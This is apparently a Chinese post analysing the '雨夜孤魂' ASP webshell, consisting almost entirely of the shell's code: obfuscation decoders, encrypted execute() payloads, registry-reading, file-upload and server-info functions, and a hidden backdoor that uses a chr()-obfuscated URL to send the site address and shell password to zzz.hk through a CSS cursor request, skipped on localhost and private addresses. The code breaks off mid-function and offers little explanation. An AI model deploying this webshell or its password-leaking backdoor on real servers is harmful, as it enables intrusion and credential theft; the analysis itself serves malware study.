雨夜孤魂webshell的解密及后门简要分析

Function MorfiCoder(Code):MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf):End Function

Function MorfiCoder1(password,MorfiCode):Dim MIN_Morfi,MAX_Morfi,NUM_Morfi,offset,Str_len,i,code,To_TxT:MIN_Morfi=32:MAX_Morfi=126:NUM_Morfi=MAX_Morfi-MIN_Morfi+1:offset=password:Rnd -1:Randomize offset:MorfiCode=Replace(MorfiCode,"/*/",""""):Str_len=Len(MorfiCode):For i=1 To Str_len:Code=Asc(Mid(MorfiCode,i,1))
If Code>=MIN_Morfi And Code<=MAX_Morfi Then
Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi)
If Code<0 Then Code=Code+NUM_Morfi
Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf)
Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function

Function UZSS(objstr):objstr=Replace(objstr,"`",""""):For i=1 To Len(objstr):If Mid(objstr, i, 1)<>"~" Then:NewStr=Mid(objstr,i,1)&NewStr:Else:NewStr=vbCrlf&NewStr:End If:Next:UZSS=NewStr:End Function

u=request.servervariables("http_host")&url
Acti0n=chr(104)&"tt"&chr(112)&":/"&chr(47)&"z"&chr(122)&"z"&chr(46)&"hk"&chr(47)&"i"&chr(47)&"?%75="&u&"&%70="&Userpwd&""

execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"\eAji^ E9SS>J>3=RoW(**%3O,Gu;HP@0X=ZHm1m;#%mc//0$xMefm8yuY=#f@e&@iVV-

FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h]  i\ne0oHgQn;rG%W9t@{]3S)/*//v

{Frpkvz2[.8!hCnwH&p ")

if instr(Request.ServerVariables("SERVER_NAME"),"127.0.0.1")<>0 then Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"192.168.")<>0 then  Acti0n=""
if instr(Request.ServerVariables("SERVER_NAME"),"localhost")<>0 then Acti0n=""

execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"E/QuKL ;N#*p}/?<96^zPF4 Ck1c+u`?t^p7{XO0EdRF@4/&$&=")

R00tPath="<DIV style=""CURSOR:url('"&Acti0n&"')"">"

R00tPath="<DIV style=""CURSOR:url('http://zzz.hk/i/?%75=localhost/test.asp&%70=111')"">"

Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
if session("IDebugMode") <> "ok" then
Rrs""&R00tPath&"":session("IDebugMode")="ok"
end if

Function UpFile()
  dim strFileName
  If Request("Action2")="Post" Then
    Set U=new UPC : Set F=U.UA("LocalFile")
    UName=U.form("ToPath")
    If UName="" or F.FileSize=0 then
      RW="<br>请输入上传的完全路径后选择一个文件上传!"
    Else
        F.SaveAs UName
        If Err.number=0 Then
        RW="<center><br><br><br>文件" & UName & "上传成功！</center>"
        If session("IDebugMode") <> "ok" then
        RRs""&R00tPath&"":session("IDebugMode")="ok"
                            End If
        End if
    End If

Function ServerInfo()
  RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  RW=RW & "<tr><td colspan='4' align='center' bgcolor='menu'>服务器概况 [组件信息]</td></tr>"
  RW=RW & "<tr><td colspan='2'> 服务器地址:"&ServerNM&"(" & ServerIP & ":"&Request.ServerVariables("SERVER_PORT")&")</td>"
  RW=RW & "<td colspan='2'> Server Time:"&now&" </td></tr>"
  RW=RW & "<tr><td colspan='2'> CPU详情:"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td>"
  RW=RW & "<td colspan='2'> 环境变量:"&Request.ServerVariables.Count&"个 "
  RW=RW & "<a href='?Action=showE' target='FileFrame'><font color='red'>[Request.ServerVariables 列表]</font></a></td></tr>"
  RW=RW & "<tr><td colspan='2'> Server Os:"&Request.ServerVariables("OS")&"</td>"
  RW=RW & "<td colspan='2'> IIS Server版本:"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr></table>"
  RW=RW & ""
  RW=RW & "<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  If session("IDebugMode") <> "ok" then
  Rrs""&R00tPath&"":session("IDebugMode")="ok"
  End if
  For i=0 To 14